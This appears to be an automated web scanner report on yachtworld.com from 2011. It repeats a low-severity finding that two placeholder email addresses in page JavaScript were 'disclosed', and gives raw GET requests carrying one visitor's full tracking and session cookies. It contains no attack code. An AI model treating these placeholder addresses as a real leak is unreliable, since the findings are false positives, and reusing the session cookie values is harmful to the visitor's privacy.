HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:05 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:11 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Florida/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:33 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:06:40 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Maine/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:14 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:21 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Maryland/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:57 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:04 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Massachusetts/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:04 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:11 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Michigan/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:59 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:05 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
